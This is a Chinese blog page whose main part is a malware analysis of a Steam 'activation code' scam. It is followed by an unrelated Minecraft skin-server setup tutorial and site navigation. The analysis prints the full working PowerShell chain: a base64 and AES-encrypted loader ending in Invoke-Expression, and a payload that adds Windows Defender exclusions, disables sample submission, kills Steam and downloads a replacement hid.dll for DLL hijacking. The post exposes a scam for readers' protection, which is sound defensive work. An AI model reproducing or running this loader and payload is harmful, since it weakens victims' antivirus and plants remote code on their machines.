AEEAZgBJAEYAOQA3AFkAcwBOAE8ATwB5AFcASwA2AGwATgAxAFoAMQAwAE4AQwBPAFcAdAA3AHAAawBDAGcAWgBXAEkANABRAGIATQBDAGUAMQBWAEcAbQBvAFgATQBLAHYAUQBUAEMAVwBMADQAWABpADAAZABlAHcAZQBNAG0AMQBTAEgAcABqAE8ASABqAGsAcwBZADcAOQBQADQAdwBkAE4AcwBmAEgAagBNAFEAdQA4AEsAWgBSADcAQwA0AHEAQgBpADQAUABmACsAbwByADIASwBFAE0ANAA0AEEAaQA4AGsAbABNADcAbABkAE4AdgBpAGkAagBWAEMAWgBMAEEAZABjAFgAcQAwAFQAWABnAFQAMABYADAAZQBvAEsAcABmAEIANQBHADUASQBSAGkAUABOAHgAYwBCADYAQgA2AFgASgBnAEEAbwBoAEoAVAArAHoANQA0AGkAVgBlAGkAawBJAFoAdwBoAGwAUQBWAEkAMgArAG0AYQBCAFgAbgAyAGEARQA5AHkAMABxAGgATQAvAE4AWABxAGUAaABuADYARgBsAGIAUQBWAE4AbAA1ADYASwBWAGoAdQBQAFAAZwAvACsAVABxAEQAegA3AHoAZQB3AGUAQwBZAGIAbAAzAGkAVgBQAEoAaQBkAG0AcQA4AGsAYQBtADMATABpADYAMQArAEIAbgBzAGsANABkAG4ASABMAFEAbABRAHAAcwBFAFQAUgBSAGQAeABYAHgAVgBjAGEARABiADcASABlAGIAcQBKADYAVQBwAEYAUABHAGEAeQBEAFUASAB3AG4ASgA4AHMAKwBQAGEAVwBnAFIASABUAHYANgBwADQAMQBoAFoAcgBjAEUAMgBiAGQAWQArADAAbgA0AFAATABvAFkATwBpADEAUwBDADMARwB3AFYASgA2AFIAMQBxAEwARQB0AFgASgB6AFgATQBDAEUASwA5AFcAQQBHAEoANwAxAGsAegBFAE8AWQBDAFUAbABsAEwAYwBRAHoARgBNAHYAVgBEAE0AMgA0AGYAZgBNAHcAMgBmAGEAYwBkAHMAdwBXAHcAVQBRAG4AaABkADcAbABQAHAAKwBIAHkAOQBqADEAYgBIAC8AMgBjADUARABIAEUATwBKAGwATQBQAHQAUQBkAEsAOABDAGkASAA2AE8AWgBCADMAMgAvAFMAbgBEAGIASgBSAGkAMAA3ADgAaQBRAEUAVQA5AG4AVABtAGcAQwBhAGcAZQBIAG8AYwBCAE8AMQA3AFEAcgBSAGYAYQBaADQAOAB5AGwAYQArAFMASwA3ADUAUQAwAEwATgBJAHkATwBGAEcAOQBBAFAAZgAxAGoASQBuAFMANgBkACsANgB5AHQAMQAxAHcAWgAxAHoAegBkAHkASQBmAFcAbgBnAFEAQwBFAG4AeABFAEgAaQA4AFIAdABUAFMAMwB1AHYAYgBYAFkARQBPADQAWQBHAE0ALwBKAFcAUwBsADMAaABPAE8AbABVADIARAAxAHUAdwBOAG0AOAB4ADcAeAB5AHkAbgBQAC8AUABXADEAaQBzADMALwBBAGYAcAA1AG4AagBnAGMAawBNAGQAUgBpADEAUwBHAGMAYwBRAHgAUwByAEkAawB2AFIAcgBiAEIAOABrAGwAcgBQADIAbgB3AG4AQgBBAEkAWgBtAFEAZwBCAFgARAA2AGYAUQBVAHgAQQBvADAAZwBBAHIARgBNADkAQgA0AFgAegBFAFAARgBvAEsAeABFAHYANABMAEwAUwBKACsASwBMAEsAZgBmAGYAZQByAFkAYQAzADkAdQBDAE0ASQA5AEEAMABZAEQAZQBjAEwAMABRAE4AbQBWAG4ATQBVAGUAMgBhAEIAUQAwAFMAdwB3AFUAYQAxAEYATwAwAFoAcQBaAEUANwBjAEMAVQA5AHUAagB4AFUARQBnAC8AKwAwAEQAOAAiACkADQAKACQAYgBtAG8AeQBxAGMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAVQBBADIASwBiAEcAaQBMAHUATABZAEsARwBOAEsAWABwADAASQA4ADUAUwBLADkAQQBEADEAQgBPAGEAYwAvAGEAMABuAEcAegA0AEIAYwA5AFoAcwA9ACIAKQANAAoAJABoAGoAZgBtAHAAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiAA0ACgAkAGgAagBmAG0AcAB5AC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEUAQwBCAA0ACgAkAGgAagBmAG0AcAB5AC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AA0ACgAkAGgAagBmAG0AcAB5AC4AQgBsAG8AYwBrAFMAaQB6AGUAIAA9ACAAMQAyADgADQAKACQAaABqAGYAbQBwAHkALgBLAGUAeQBTAGkAegBlACAAPQAgADEAMgA4AAoAJABoAGoAZgBtAHAAeQAuAEsAZQB5ACAAPQAgACQAYgBtAG8AeQBxAGMADQAKACQAaABqAGYAbQBwAHkALgBJAFYAIAA9ACAAJAB2AHoAdwBuAGIAcQBkAFsAMAAuAC4AMQA1AF0ADQAKACQAbgBjAHoAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQANAAoAJAB3AHYAcABxAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAaABqAGYAbQBwAHkALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJAB2AHoAdwBuAGIAcQBkACwAMQA2ACwAJAB2AHoAdwBuAGIAcQBkAC4ATABlAG4AZwB0AGgALQAxADYAKQApAA0ACgAkAGoAYwBhAGkAYgBzAHgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAdwB2AHAAcQBtACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAA0ACgAkAGoAYwBhAGkAYgBzAHgALgBDAG8AcAB5AFQAbwAoACQAbgBjAHoAYgApAA0ACgAkAGgAagBmAG0AcAB5AC4ARABpAHMAcABvAHMAZQAoACkADQAKACQAagBjAGEAaQBiAHMAeAAuAEMAbABvAHMAZQAoACkADQAKACQAdwB2AHAAcQBtAC4AQwBsAG8AcwBlACgAKQANAAoAJAB3AHYAcgBlAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABuAGMAegBiAC4AVABvAEEAcgByAGEAeQAoACkAKQANAAoASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJAB3AHYAcgBlAHEAKQANAAoA"

base64解码后：

$vzwnbqd = [System.Convert]::FromBase64String("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")
$bmoyqc = [System.Convert]::FromBase64String("UA2KbGiLuLYKGNKXp0I85SK9AD1BOac/a0nGz4Bc9Zs=")
$hjfmpy = New-Object "System.Security.Cryptography.AesManaged"
$hjfmpy.Mode = [System.Security.Cryptography.CipherMode]::ECB
$hjfmpy.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$hjfmpy.BlockSize = 128
$hjfmpy.KeySize = 128
$hjfmpy.Key = $bmoyqc
$hjfmpy.IV = $vzwnbqd[0..15]
$nczb = New-Object System.IO.MemoryStream
$wvpqm = New-Object System.IO.MemoryStream(,$hjfmpy.CreateDecryptor().TransformFinalBlock($vzwnbqd,16,$vzwnbqd.Length-16))
$jcaibsx = New-Object System.IO.Compression.DeflateStream $wvpqm, ([IO.Compression.CompressionMode]::Decompress)
$jcaibsx.CopyTo($nczb)
$hjfmpy.Dispose()
$jcaibsx.Close()
$wvpqm.Close()
$wvreq = [System.Text.Encoding]::UTF8.GetString($nczb.ToArray())
Invoke-Expression($wvreq)

三层AES加密，解开后得到

cls
Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor:blue

function Get-RandomString() {
param(
[int]$length=10,
# 这里的[int]是类型指定
[char[]]$sourcedata
)

for($loop=1; $loop -le $length; $loop++) {
$TempPassword+=($sourcedata | GET-RANDOM | %{[char]$_})
}

return $TempPassword
}

Start-Sleep 1
$tempLog = $env:TEMP+ "\log.txt"

try{
irm -Uri "https://hz-config.oss-accelerate.aliyuncs.com/help.txt" -OutFile $tempLog
}
catch{
Write-Host "NetWork Result-Error" -ForegroundColor:red
}

function PwStart() {
try
{
$steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll'
$steamPath = $steamPath -replace "steamclient.dll","hid.dll"

if(Get-Process 360Tray* -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[0] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart

}
elseif(Get-Process 360sd* -ErrorAction Stop)
{
while(Get-Process 360sd* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[1] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
else{
try{
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 1
#避免退出失败多检测一次
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}

#没有检测到杀毒的存在可以开始执行下一步
if (Test-Path $steamPath) {
Start-Sleep 1
del $steamPath
if (Test-Path $steamPath)
{
Remove-Item -Path $steamPath -Force
Start-Sleep 1
}
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "hid.dll","version.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "version.dll","user32.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "user32.dll","hid.dll"

Write-Host "ServerStart [OK]" -ForegroundColor:green
try
{
Add-MpPreference -ExclusionPath $steamPath
Set-MpPreference -SubmitSamplesConsent 0
}
catch
{
}
Write-Host "Result[0] [OK]" -ForegroundColor:green

Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/PSH" -OutFile $steamPath -ErrorAction Stop

Write-Host "Result[1] [OK]" -ForegroundColor:green

$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive")
if (!(Test-Path $strfmt)) {
md $strfmt | Out-Null
Start-Sleep 1
if (!(Test-Path $strfmt)) {
New-Item $strfmt -ItemType directory -Force | Out-Null
}
}

$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive\hid")
Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/hid" -OutFile $strfmt -ErrorAction Stop
Write-Host "Result[2] [OK]" -ForegroundColor:green

Start-Sleep 0.5

Start steam://

#连接服务器成功请在Steam输入激活码 5秒后自动关闭窗口
Write-Host (Get-Content $tempLog)[3] -ForegroundColor:green

Start-Sleep 5

#结束运行
exit
}
catch
{
#请重新打开Power shell 打开方式以管理员身份运行
Write-Host (Get-Content $tempLog)[2] -ForegroundColor:Red
}

}

}
catch{
#请检查您的Steam是否正确安装
Write-Host (Get-Content $tempLog)[4] -ForegroundColor:red
}
}

#开始启动
PwStart

这个命令执行了:

从网上下载了一个脚本下来执行
脚本加了三重AES加密[为了保护作者的母亲]
设置Windows Defender除外Steam目录下的安全防护
关闭360等杀毒软件进程
删除steam目录下几个dll文件
从网上下载hid.dll覆盖到steam的本地目录
以及还下了其他用于破解的库

hid.dll是个系统的动态库，hid的缩写是Human Interface Device的简称，简单点说就是控制鼠标键盘之类的用户输入设备的。这玩意放在这里通常是为了让Steam在处理输入设备时先过一次他的拦截，然后再传到系统执行正常操作

steamworks.exe行为分析

它下载的exe文件在微步沙箱也是成功报毒

他所替换的文件可以使商家远程修改你的文件,可能导致你退款就销毁你的steam等....

运行它下载的steamworks.exe文件会强制退出steam平台的进程

接着steamworks.exe释放python支持库和几张输入产品代码的图片到临时文件夹中

程序执行几秒后弹出界面

由于此时steam已强制退出,不难猜到该界面正是刚刚提到的临时文件夹中的图片绘制而成

将某宝店家提供给我们的CDK提交,发现通过网络下载了文件111111.zip

通过steamdb查询我们要激活的游戏123,发现123的ID正是111111

解压后得到其中包含了游戏的清单文件和密钥文件

其中包含了游戏的清单文件和密钥文件

猜测是由steam免费入库工具SteamTools生成

显然店家提供给我们的"游戏CDK"实际上是游戏的标识ID,通过该ID下载对应的游戏免费入库包

接着steamworks.exe将TEVI的清单文件拷贝到steam目录下的depotcache文件夹中,并且修改了包括config.vdf在内的一部分配置文件

然后在steam目录下写入一个User32.dll

User32.dll行为分析

显然User32.dll是为了劫持注入,在IDA中查看发现具有GreenLuma字符串

通过搜索引擎查找GreenLuma,发现这也是一个steam入库工具

显然steamworks.exe通过GreenLuma进行劫持注入,通过之前得到的游戏的清单文件和密钥文件进行解锁

最后,弹出激活成功的窗口并重启steam

又一个新的站点-开朗皮肤站

Aelura — Wed, 25 Oct 2023 20:52:00 +0800

前言

之前我最爱的我的世界统一通行证崩溃了导致无法使用,于是我搭建了开朗皮肤站使用Blessing Skin Server项目
如遇到疑难杂症欢迎联系我

教程开始

服务器一台拥有固定IP及稳定的网络环境，操作系统Debian、CentOS都可以。不推荐使用Windows Serve

1.准备工作

Nginx/Apache：推荐使用Nginx环境
PHP：PHP版本推荐7以上（最新皮肤站需要PHP8）
Minecraft服务器端
服务器系统选择：Debian/Ubuntu/Centos
（因windows暂用资源会大些对服务器整体的性能不能发挥到极致）

2.安装系统

推荐使用宝塔Linux面板宝塔Linux面板安装命令安装后部署LNMP套件[推荐编译安装,较为稳定，但用时久]

3.解禁函数

打开软件商店找到PHP81在这里解禁以下函数：symlink、readlink、putenv、Realpath

4.安装php扩展

安装扩展：fileinfo

5.在网站页面新建站点

6.解压源码

前往Blessing Skin Server下载源码解压在网站目录

7.添加伪静态和设置目录并关闭防跨站攻击

location / {
try_files $uri $uri/ /index.php?$query_string;
}

8.创建数据库

这里填记得住的数据库名,用户,密码等

9.访问网站进行最后部署

10.安装Yggdrasil API

在插件市场搜索
如果你是一个服主,想要让皮肤站支持验证玩家身份和伪正版时,推荐安装！

11.常见问题

①你可能会遇到500错误，只需要刷新页面就可以解决。
②插件市场严重错误

在站点目录的.env文件中加入代码：
PLUGINS_REGISTRY=https://moeluoyu.xyz/api/plugins-dist/registry_zh_CN.json

12.外置登录-服务器

获取认证插件:获取 authlib-injector (yushi.moe)
获取到认证地址为https://网站.top，并将插件直接上传到服务器根目录下，且插件名为authlib-injector-1.2.3.jar，那么你需要添加的内容就是下面这样：
-javaagent:authlib-injector-1.2.3.jar=https://网站.top.com
例如，这是你原来的启动命令：
java -jar minecraft_server.1.12.2.jar nogui
你只需要把他修改为
java -javaagent:authlib-injector-1.2.3.jar=https://网站.top minecraft_server.1.12.2.jar nogui

Aelura's Blog

这个小博客也该复活了

我写了一个复刻记忆的 AI，却剥夺了自己做梦的权利 -- Afterglow

QQ 转发领取红包卡片骗局逆向

入口分析

远程 JS 分析

UA 限制逻辑

禁止侧滑返回

微信环境限制

第三方统计

7. 核心逻辑脚本

关键逻辑

（1）分享次数计算

（2）转发文案

（3）完成转发后跳转

最终落地流程

总结

阿慈谷日富美机器人用户使用条款

阿慈谷日富美机器人用户使用条款

第一章 总则

第二章 使用规范

第三章 违规处理措施

第四章 数据与隐私保护

第五章 责任声明

第六章 服务变更与终止

第七章 特殊条款 —— SCP: Secret Laboratory 服务器命令使用规范

第八章 附则

屏幕界面ASCII字符展示

下载

介绍

原理简述

躲避直播巡查的可能性

使用方式

版权声明

宝塔MySQL启动失败常见解决方法

前言

常见炸库解决方法

服务器配置较低炸库现象

steam伪激活码骗局

前言

irm steam.work|iex分析

steamworks.exe行为分析

User32.dll行为分析

又一个新的站点-开朗皮肤站

前言

教程开始

1.准备工作

2.安装系统

3.解禁函数

4.安装php扩展

5.在网站页面新建站点

6.解压源码

7.添加伪静态和设置目录并关闭防跨站攻击

8.创建数据库

9.访问网站进行最后部署

10.安装Yggdrasil API

11.常见问题

12.外置登录-服务器

第一章总则

第二章使用规范

第三章违规处理措施

第四章数据与隐私保护

第五章责任声明

第六章服务变更与终止

第七章特殊条款 —— SCP: Secret Laboratory 服务器命令使用规范

第八章附则